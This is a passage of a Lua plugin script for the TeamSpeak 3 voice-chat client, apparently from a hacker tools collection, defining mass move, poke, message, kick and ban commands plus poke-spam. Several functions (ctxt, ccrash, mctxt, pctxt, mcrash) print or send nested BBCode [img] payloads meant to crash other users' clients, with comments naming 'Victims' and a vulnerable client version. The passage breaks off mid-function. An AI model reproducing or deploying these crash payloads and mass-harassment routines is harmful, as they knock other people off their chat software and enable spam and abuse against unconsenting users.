  491.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  492.     if error ~= ts3errors.ERROR_ok then
  493.         print("Error getting own channel: " .. error)
  494.         return
  495.     end
  496.     ts3.printMessageToCurrentTab("Channel ID = " .. myChannelID .. ".")
  497.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  498.     if error == ts3errors.ERROR_not_connected then
  499.         ts3.printMessageToCurrentTab("Not connected")
  500.         return
  501.     elseif error ~= ts3errors.ERROR_ok then
  502.         print("Error subscribing channel: " .. error)
  503.         return
  504.     end
  505.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  506.     if error == ts3errors.ERROR_not_connected then
  507.         ts3.printMessageToCurrentTab("Not connected")
  508.         return
  509.     elseif error ~= ts3errors.ERROR_ok then
  510.         print("Error getting client list: " .. error)
  511.         return
  512.     end
  513.     local password = ""
  514.     if type(arg[1]) ~= "nil" then
  515.         password = arg[1]
  516.         ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " visible clients (Using Password: " .. password .. " ) ==[/i][/b]")
  517.     else
  518.         ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " ==[/i][/b]")
  519.     end
  520.     local counter = 0
  521.     for i=1, #clients do
  522.         if clients[i] ~= myClientID then
  523.             local error = ts3.requestClientMove(serverConnectionHandlerID, clients[i], myChannelID, password)
  524.             if error == ts3errors.ERROR_ok then
  525.                 counter = counter + 1
  526.             else
  527.                 clientName = "Error getting client name"
  528.             end
  529.         end
  530.     end
  531.     ts3.printMessageToCurrentTab("[b][i]== Successfully moved " .. counter .. " / " .. #clients - 1 .. " clients. ==[/i][/b]")
  532. end
  533. --
  534. -- Global Mass Poke Script (subscribe all possible channels before moving) (/lua run gmp <message>)
  535. --
  536. function gmp(serverConnectionHandlerID, ...)
  537.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  538.     -- Get Self ID
  539.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  540.     if error ~= ts3errors.ERROR_ok then
  541.         print("Error getting own client ID: " .. error)
  542.         return
  543.     end
  544.     if myClientID == 0 then
  545.         ts3.printMessageToCurrentTab("Not connected")
  546.         return
  547.     end
  548.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  549.     if error == ts3errors.ERROR_not_connected then
  550.         ts3.printMessageToCurrentTab("Not connected")
  551.         return
  552.     elseif error ~= ts3errors.ERROR_ok then
  553.         print("Error subscribing channel: " .. error)
  554.         return
  555.     end
  556.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  557.     if error == ts3errors.ERROR_not_connected then
  558.         ts3.printMessageToCurrentTab("Not connected")
  559.         return
  560.     elseif error ~= ts3errors.ERROR_ok then
  561.         print("Error getting client list: " .. error)
  562.         return
  563.     end
  564.     -- Process Argument message
  565.     local argMsg = ""
  566.     for i,v in ipairs(arg) do
  567.         argMsg = argMsg .. tostring(v) .. " "
  568.     end
  569.     local counter = 0
  570.     ts3.printMessageToCurrentTab("[b][i]== Mass poking " .. #clients - 1 .. " visible clients ==[/i][/b]")
  571.     for i=1, #clients do
  572.         if clients[i] ~= myClientID then
  573.             local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg)
  574.             if error == ts3errors.ERROR_ok then
  575.                 counter = counter + 1
  576.             else
  577.                 print("Error poking client ID: " .. clients[i] .. "\n")
  578.             end
  579.         end
  580.     end
  581.     ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  582. end
  583. --
  584. -- Global Mass Message Script (subscribe all possible channels before moving) (/lua run gmmsg <message>)
  585. --
  586. function gmmsg(serverConnectionHandlerID, ...)
  587.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  588.     -- Get Self ID
  589.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  590.     if error ~= ts3errors.ERROR_ok then
  591.         print("Error getting own client ID: " .. error)
  592.         return
  593.     end
  594.     if myClientID == 0 then
  595.         ts3.printMessageToCurrentTab("Not connected")
  596.         return
  597.     end
  598.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  599.     if error == ts3errors.ERROR_not_connected then
  600.         ts3.printMessageToCurrentTab("Not connected")
  601.         return
  602.     elseif error ~= ts3errors.ERROR_ok then
  603.         print("Error subscribing channel: " .. error)
  604.         return
  605.     end
  606.     -- Get which channel we are in
  607.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  608.     if error ~= ts3errors.ERROR_ok then
  609.         print("Error getting own channel: " .. error)
  610.         return
  611.     end
  612.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  613.     if error == ts3errors.ERROR_not_connected then
  614.         ts3.printMessageToCurrentTab("Not connected")
  615.         return
  616.     elseif error ~= ts3errors.ERROR_ok then
  617.         print("Error getting client list: " .. error)
  618.         return
  619.     end
  620.     -- Process Argument message
  621.     local argMsg = ""
  622.     for i,v in ipairs(arg) do
  623.         argMsg = argMsg .. tostring(v) .. " "
  624.     end
  625.     local counter = 0
  626.     ts3.printMessageToCurrentTab("[b][i]== Mass messaging " .. #clients - 1 .. " visible clients ==[/i][/b]")
  627.     for i=1, #clients do
  628.         if clients[i] ~= myClientID then
  629.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i])
  630.             if error == ts3errors.ERROR_ok then
  631.                 counter = counter + 1
  632.             else
  633.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  634.             end
  635.         end
  636.     end
  637.     ts3.printMessageToCurrentTab("[b][i]== Successfully messaged " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  638. end
  639. --
  640. -- Global Mass Message & Poke Script (subscribe all possible channels before moving) (/lua run gmmp <message>)
  641. --
  642. function gmmp(serverConnectionHandlerID, ...)
  643.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  644.     -- Get Self ID
  645.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  646.     if error ~= ts3errors.ERROR_ok then
  647.         print("Error getting own client ID: " .. error)
  648.         return
  649.     end
  650.     if myClientID == 0 then
  651.         ts3.printMessageToCurrentTab("Not connected")
  652.         return
  653.     end
  654.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  655.     if error == ts3errors.ERROR_not_connected then
  656.         ts3.printMessageToCurrentTab("Not connected")
  657.         return
  658.     elseif error ~= ts3errors.ERROR_ok then
  659.         print("Error subscribing channel: " .. error)
  660.         return
  661.     end
  662.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  663.     if error == ts3errors.ERROR_not_connected then
  664.         ts3.printMessageToCurrentTab("Not connected")
  665.         return
  666.     elseif error ~= ts3errors.ERROR_ok then
  667.         print("Error getting client list: " .. error)
  668.         return
  669.     end
  670.     -- Process Argument message
  671.     local argMsg = ""
  672.     for i,v in ipairs(arg) do
  673.         argMsg = argMsg .. tostring(v) .. " "
  674.     end
  675.     local msgcounter = 0
  676.     local pokecounter = 0
  677.     ts3.printMessageToCurrentTab("[b][i]== Mass poking & messaging " .. #clients - 1 .. " visible clients ==[/i][/b]")
  678.     for i=1, #clients do
  679.         if clients[i] ~= myClientID then
  680.             local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg)
  681.             if error == ts3errors.ERROR_ok then
  682.                 pokecounter = pokecounter + 1
  683.             else
  684.                 print("Error poking client ID: " .. clients[i] .. "\n")
  685.             end
  686.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i])
  687.             if error == ts3errors.ERROR_ok then
  688.                 msgcounter = msgcounter + 1
  689.             else
  690.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  691.             end
  692.         end
  693.     end
  694.     ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. pokecounter .. "/" .. #clients - 1 .. " clients, and messaged " .. msgcounter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  695. end
  696. -- -----------------------------=LOGGING=-------------------------------------
  697. if EMC_DEBUG == true then
  698. -- local logMSG = ("loading..." --, SCRIPT , VERSION)
  699.  ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT1SHORT .."[/color] functions loaded.")
  700. -- Log(LogMSG)
  701. end
  702. -- ____________________________-=LOGGING=-____________________________________
  703. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  704. --======================================================================================================================================================================
  705. -- Mass ExoticHackers TS3 Tools Functions
  706. --======================================================================================================================================================================
  707. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  708.  
  709. --
  710. -- Run with "/lua run mk <message>"
  711. --
  712. function mk(serverConnectionHandlerID, ...)
  713.     -- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools    Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =")
  714. ------------
  715.     -- Get Self ID
  716.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  717.     if error ~= ts3errors.ERROR_ok then
  718.         print("Error getting own client ID: " .. error)
  719.         return
  720.     end
  721.     if myClientID == 0 then
  722.         ts3.printMessageToCurrentTab("Not connected")
  723.         return
  724.     end
  725. -- Get which channel we are in
  726.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  727.     if error ~= ts3errors.ERROR_ok then
  728.         print("Error getting own channel: " .. error)
  729.         return
  730.     end
  731.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  732.     if error == ts3errors.ERROR_not_connected then
  733.         ts3.printMessageToCurrentTab("Not connected")
  734.         return
  735.     elseif error ~= ts3errors.ERROR_ok then
  736.         print("Error getting client list: " .. error)
  737.         return
  738.     end
  739.     -- Process Argument message
  740.     local argMsg = ""
  741.     for i,v in ipairs(arg) do
  742.         argMsg = argMsg .. tostring(v) .. " "
  743.     end
  744.     local counter = 0
  745.     ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients ==[/i][/b]")
  746.     for i=1, #clients do
  747.         if clients[i] ~= myClientID then
  748.             local error = ts3.requestClientKickFromServer(serverConnectionHandlerID, clients[i], argMsg)
  749.             if error == ts3errors.ERROR_ok then
  750.                 counter = counter + 1
  751.             else
  752.                 print("Error poking client ID: " .. clients[i] .. "\n")
  753.             end
  754.         end
  755.     end
  756.     ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  757. end
  758. --
  759. -- Run with "/lua run mck <message>"
  760. --
  761. function mck(serverConnectionHandlerID, channelID, kickMSG)
  762.     -- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools    Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =")
  763. ------------
  764.     -- Get Self ID
  765.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  766.     if error ~= ts3errors.ERROR_ok then
  767.         print("Error getting own client ID: " .. error)
  768.         return
  769.     end
  770.     if myClientID == 0 then
  771.         ts3.printMessageToCurrentTab("Not connected")
  772.         return
  773.     end
  774. -- Get which channel we are in
  775.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  776.     if error ~= ts3errors.ERROR_ok then
  777.         print("Error getting own channel: " .. error)
  778.         return
  779.     end
  780.     if channelID == 0 then
  781.         clients, error = ts3.getClientList(serverConnectionHandlerID)
  782.         if error ~= ts3errors.ERROR_ok then
  783.             print("Error getting clients: " .. error)
  784.             return
  785.         end
  786.     else
  787.         clients, error = ts3.getChannelClientList(serverConnectionHandlerID, channelID)
  788.         if error ~= ts3errors.ERROR_ok then
  789.             print("Error getting clients of channel: " .. channelID .. " errorID: " .. error)
  790.             return
  791.         end
  792.     end
  793.     if error == ts3errors.ERROR_not_connected then
  794.         ts3.printMessageToCurrentTab("Not connected")
  795.         return
  796.     elseif error ~= ts3errors.ERROR_ok then
  797.         print("Error getting client list: " .. error)
  798.         return
  799.     end
  800.     -- Process Argument message
  801.     -- local argMsg = ""
  802.     -- for i,v in kickMSG do
  803.         -- argMsg = argMsg .. tostring(v) .. " "
  804.     -- end
  805.     local counter = 0
  806.     if channelID == 0 then
  807.         ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients ==[/i][/b]")
  808.     else
  809.         ts3.printMessageToCurrentTab("[b][i]== Mass Kicking " .. #clients - 1 .. " visible clients from Channel #" .. channelID .. " ==[/i][/b]")
  810.     end
  811.     for i=1, #clients do
  812.         if clients[i] ~= myClientID then
  813.             local error = ts3.requestClientKickFromChannel(serverConnectionHandlerID, clients[i], kickMSG)
  814.             if error == ts3errors.ERROR_ok then
  815.                 counter = counter + 1
  816.             else
  817.                 print("Error kicking client ID: " .. clients[i] .. "\n")
  818.             end
  819.         end
  820.     end
  821.     if channelID == 0 then
  822.         ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked From Channel " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  823.     else
  824.         ts3.printMessageToCurrentTab("[b][i]== Successfully Kicked from Channel #" .. channelID .. " " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  825.     end
  826. end
  827. --
  828. -- Run with "/lua run mb <duration> <message>"
  829. --
  830.  
  831.  
  832. function mb(serverConnectionHandlerID, timeInSeconds, banMSG)
  833.  
  834.         -- ts3.printMessageToCurrentTab("= [b][u]Mass ExoticHackers TS3 Tools       Version 1.0b by [url=http://exotichackers.net/member.php?8-TheCAKiLLa]TheCAKiLLa[/url][/u][/b] =")
  835.         -- Get Self ID
  836.         local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  837.         if error ~= ts3errors.ERROR_ok then
  838.                 print("Error getting own client ID: " .. error)
  839.                 return
  840.         end
  841.         if myClientID == 0 then
  842.                 ts3.printMessageToCurrentTab("Not connected")
  843.                 return
  844.         end
  845.  
  846.         -- Get which channel we are in
  847.         local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  848.         if error ~= ts3errors.ERROR_ok then
  849.                 print("Error getting own channel: " .. error)
  850.                 return
  851.         end
  852.  
  853.         local clients, error = ts3.getClientList(serverConnectionHandlerID)
  854.         if error == ts3errors.ERROR_not_connected then
  855.                 ts3.printMessageToCurrentTab("Not connected")
  856.                 return
  857.         elseif error ~= ts3errors.ERROR_ok then
  858.                 print("Error getting client list: " .. error)
  859.                 return
  860.         end
  861.  
  862.         -- Process Argument message
  863.         -- local argMsg = ""
  864.         -- for i,v in ipairs(arg) do
  865.                 -- argMsg = argMsg .. tostring(v) .. " "
  866.         -- end
  867.  
  868.         local counter = 0
  869.         ts3.printMessageToCurrentTab("[b][i]== Mass Banning " .. #clients - 1 .. " visible clients ==[/i][/b]")
  870.         for i=1, #clients do
  871.                 if clients[i] ~= myClientID then
  872.                         local error = ts3.banclient(serverConnectionHandlerID,clients[i], timeInSeconds, banMSG)                                          
  873.                         if error == ts3errors.ERROR_ok then
  874.                                 counter = counter + 1
  875.                         else
  876.                                 print("Error banning client ID: " .. clients[i] .. "\n")
  877.                         end
  878.                 end
  879.         end
  880.         ts3.printMessageToCurrentTab("[b][i]== Successfully Banned" .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  881. end
  882. -- -----------------------------=LOGGING=-------------------------------------
  883. if EMC_DEBUG == true then
  884. -- local logMSG = ("loading..." --, SCRIPT , VERSION)
  885.  ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT2SHORT .."[/color] functions loaded.")
  886. -- Log(LogMSG)
  887. end
  888. -- ____________________________-=LOGGING=-____________________________________
  889. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  890. --======================================================================================================================================================================
  891. -- Extended Mass Control Module Functions
  892. --======================================================================================================================================================================
  893. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  894.  
  895. -- This WILL freeze your client while running. You can hear other voice messages, but you cannot transmit for #ofpokes*secsInBetweenPokes seconds.
  896.  
  897. function emcpokespam(serverConnectionHandlerID, pokeNum, sleepNum, clientID, txt)
  898.     local clock = os.clock
  899.     local function sleep(n)
  900.     local t0 = clock()
  901.     while clock() - t0 <= n do end
  902.     end
  903.  
  904.     i = 1
  905.     while i  <= pokeNum do
  906.         sleep(sleepNum)
  907.         local error = ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt)
  908.         if error == ts3errors.ERROR_not_connected then
  909.                 ts3.printMessage(serverConnectionHandlerID, "Error: Not Connected")
  910.                 return
  911.         elseif error ~= ts3errors.ERROR_ok then
  912.                 print("Getting Error: " .. error .. "by poking the ID: " .. clientID)
  913.                 return
  914.         end
  915.          i = i + 1
  916.     end
  917.     end
  918.  
  919. function pokeall(serverConnectionHandlerID)
  920.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  921.     for i=1, #clients do
  922.         local clname, clientNameError = ts3.getClientVariableAsString(serverConnectionHandlerID, clients[i], ts3defs.ClientProperties.CLIENT_NICKNAME)
  923.         ts3.requestClientPoke(serverConnectionHandlerID, clients[i], "*poked*")
  924.        
  925.     end
  926. end
  927.  
  928.  -- function pokespam(serverConnectionHandlerID, clientID, txt, count, delay)
  929.     -- local clock = os.clock
  930.     -- local function sleep(n)
  931.       -- local t0 = clock()
  932.       -- while clock() - t0 <= n do end
  933.     -- end
  934.         -- local error = ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt)
  935.         -- if error == ts3errors.ERROR_not_connected then
  936.                 -- ts3.printMessage(serverConnectionHandlerID, "Error: Not Connected")
  937.                 -- return
  938.         -- elseif error ~= ts3errors.ERROR_ok then
  939.                 -- print ("Getting Error: " .. error .. "by poking the ID: " .. clientID)
  940.                 -- return
  941.         -- end
  942.        
  943.                 -- for i = 0, i < count, i++
  944.                 -- ts3.requestClientPoke(serverConnectionHandlerID, clientID, txt)
  945.                         -- sleep(delay)
  946.                 -- end
  947. -- end
  948. --
  949. -- Run with "/lua run ctxt"
  950. --
  951. function ctxt(serverConnectionHandlerID)
  952.      ts3.printMessageToCurrentTab("[b][color=white]Normal Text to crash Clients (Just Copy and paste the Text below):[/color][/b]")
  953.      ts3.printMessageToCurrentTab("[color=red][norparse][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img][/color]")
  954. end
  955. --
  956. -- Run with ""
  957. --
  958. -- Channel Crash Script (/lua run ccrash)
  959. --
  960. function ccrash(serverConnectionHandlerID, ...)
  961.     -- Get Self ID
  962.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  963.     if error ~= ts3errors.ERROR_ok then
  964.         print("Error getting own client ID: " .. error)
  965.         return
  966.     end
  967.     if myClientID == 0 then
  968.         ts3.printMessageToCurrentTab("Not connected")
  969.         return
  970.     end
  971.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  972.     if error == ts3errors.ERROR_not_connected then
  973.         ts3.printMessageToCurrentTab("Not connected")
  974.         return
  975.     elseif error ~= ts3errors.ERROR_ok then
  976.         print("Error subscribing channel: " .. error)
  977.         return
  978.     end
  979.     -- Get which channel we are in
  980.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  981.     if error ~= ts3errors.ERROR_ok then
  982.         print("Error getting own channel: " .. error)
  983.         return
  984.     end
  985.     --ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  986.     ts3.printMessageToCurrentTab("[b][i]== Mass crashing all clients in Channel: " .. myChannelID .. "")
  987.    
  988.     ts3.requestSendChannelTextMsg(serverConnectionHandlerID, multiCrashMSG, myChannelID)
  989.    
  990. end
  991. --
  992. -- Run with "/lua run hctxt"
  993. --
  994. -- function hctxt(serverConnectionHandlerID)
  995.      -- ts3.printMessageToCurrentTab("[b][color=white]Hidden Text to crash Clients (Just Copy and paste the Text below):[/color][/b]")
  996.      -- ts3.printMessageToCurrentTab("[color=red][img][img]" width="999999" height="999999[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img][/color]")
  997. -- end
  998. --
  999. -- Run with "/lua run chcrash"
  1000. --
  1001. -- Channel Mass Hidden Crash Script (subscribe all possible channels before crashing)
  1002. --
  1003. -- function chcrash(serverConnectionHandlerID, ...)
  1004.     -- Get Self ID
  1005.     -- local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1006.     -- if error ~= ts3errors.ERROR_ok then
  1007.         -- print("Error getting own client ID: " .. error)
  1008.         -- return
  1009.     -- end
  1010.     -- if myClientID == 0 then
  1011.         -- ts3.printMessageToCurrentTab("Not connected")
  1012.         -- return
  1013.     -- end
  1014.     -- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1015.     -- if error == ts3errors.ERROR_not_connected then
  1016.         -- ts3.printMessageToCurrentTab("Not connected")
  1017.         -- return
  1018.     -- elseif error ~= ts3errors.ERROR_ok then
  1019.         -- print("Error subscribing channel: " .. error)
  1020.         -- return
  1021.     -- end
  1022.     -- Get which channel we are in
  1023.     -- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1024.     -- if error ~= ts3errors.ERROR_ok then
  1025.         -- print("Error getting own channel: " .. error)
  1026.         -- return
  1027.     -- end
  1028.     -- ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  1029.     -- ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing all clients in Channel: " .. myChannelID .. "[/b][/i]")
  1030.    
  1031. -- local crashMsg = "[img][img] width=''999999'' height=''999999''[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]"
  1032.     -- ts3.requestSendChannelTextMsg(serverConnectionHandlerID, crashMsg, myChannelID)
  1033.    
  1034. -- end
  1035. --
  1036. -- Run with "/lua run cleartxt"
  1037. --
  1038. -- function cleartxt(serverConnectionHandlerID)
  1039.      -- ts3.printMessageToCurrentTab("[b][color=white]Hidden Text to crash Clients (Just Copy and paste the Text below):[/color][/b]")
  1040.      -- ts3.printMessageToCurrentTab("[color=red][img][img] width=''999999'' height=''999999''[/img][/img][/color]")
  1041. -- end
  1042. --
  1043. -- Run with "/lua run cclear"
  1044. --
  1045. -- Channel Mass Hidden Crash Script (subscribe all possible channels before crashing)
  1046. --
  1047. -- function cclear(serverConnectionHandlerID, ...)
  1048.     -- Get Self ID
  1049.     -- local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1050.     -- if error ~= ts3errors.ERROR_ok then
  1051.         -- print("Error getting own client ID: " .. error)
  1052.         -- return
  1053.     -- end
  1054.     -- if myClientID == 0 then
  1055.         -- ts3.printMessageToCurrentTab("Not connected")
  1056.         -- return
  1057.     -- end
  1058.     -- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1059.     -- if error == ts3errors.ERROR_not_connected then
  1060.         -- ts3.printMessageToCurrentTab("Not connected")
  1061.         -- return
  1062.     -- elseif error ~= ts3errors.ERROR_ok then
  1063.         -- print("Error subscribing channel: " .. error)
  1064.         -- return
  1065.     -- end
  1066.     -- Get which channel we are in
  1067.     -- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1068.     -- if error ~= ts3errors.ERROR_ok then
  1069.         -- print("Error getting own channel: " .. error)
  1070.         -- return
  1071.     -- end
  1072.     -- ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  1073.     -- ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing all clients in Channel: " .. myChannelID .. "[/b][/i]")
  1074.    
  1075. -- local crashMsg = "[img][img] width=''999999'' height=''999999''[/img][/img]"
  1076.     -- ts3.requestSendChannelTextMsg(serverConnectionHandlerID, crashMsg, myChannelID)
  1077.    
  1078. -- end
  1079. --
  1080. -- Run with "/lua run mctxt"
  1081. --
  1082. function mctxt(serverConnectionHandlerID)
  1083.      ts3.printMessageToCurrentTab("[b][color=white]Text to crash [/color][color=orange]all[/color][color=white] Clients running any Version (Just Copy and paste the Text below):[/color][/b]")
  1084.      ts3.printMessageToCurrentTab("[color=red][img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img][/color]")
  1085. end
  1086. --
  1087. -- Run with "/lua run pctxt"
  1088. --
  1089. function pctxt(serverConnectionHandlerID)
  1090.      ts3.printMessageToCurrentTab("[b][color=white]Poke Text to crash Clients (Just Copy and paste the Text below):[/color][/b]")
  1091.      ts3.printMessageToCurrentTab("[color=red][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img]")
  1092. end
  1093. --
  1094. -- Run with "/lua run mcrash"
  1095. --
  1096. -- Global Multi Crash Script (Works with every version) (subscribe all possible channels before crashing)
  1097. --
  1098. function mcrash(serverConnectionHandlerID, ...)
  1099.     --ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =")
  1100.     -- Get Self ID
  1101.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  1102.     if error ~= ts3errors.ERROR_ok then
  1103.         print("Error getting own client ID: " .. error)
  1104.         return
  1105.     end
  1106.     if myClientID == 0 then
  1107.         ts3.printMessageToCurrentTab("Not connected")
  1108.         return
  1109.     end
  1110.     local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID)
  1111.     if error == ts3errors.ERROR_not_connected then
  1112.         ts3.printMessageToCurrentTab("Not connected")
  1113.         return
  1114.     elseif error ~= ts3errors.ERROR_ok then
  1115.         print("Error subscribing channel: " .. error)
  1116.         return
  1117.     end
  1118.     -- Get which channel we are in
  1119.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  1120.     if error ~= ts3errors.ERROR_ok then
  1121.         print("Error getting own channel: " .. error)
  1122.         return
  1123.     end
  1124.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  1125.     if error == ts3errors.ERROR_not_connected then
  1126.         ts3.printMessageToCurrentTab("Not connected")
  1127.         return
  1128.     elseif error ~= ts3errors.ERROR_ok then
  1129.         print("Error getting client list: " .. error)
  1130.         return
  1131.     end
  1132.     -- Process Argument message
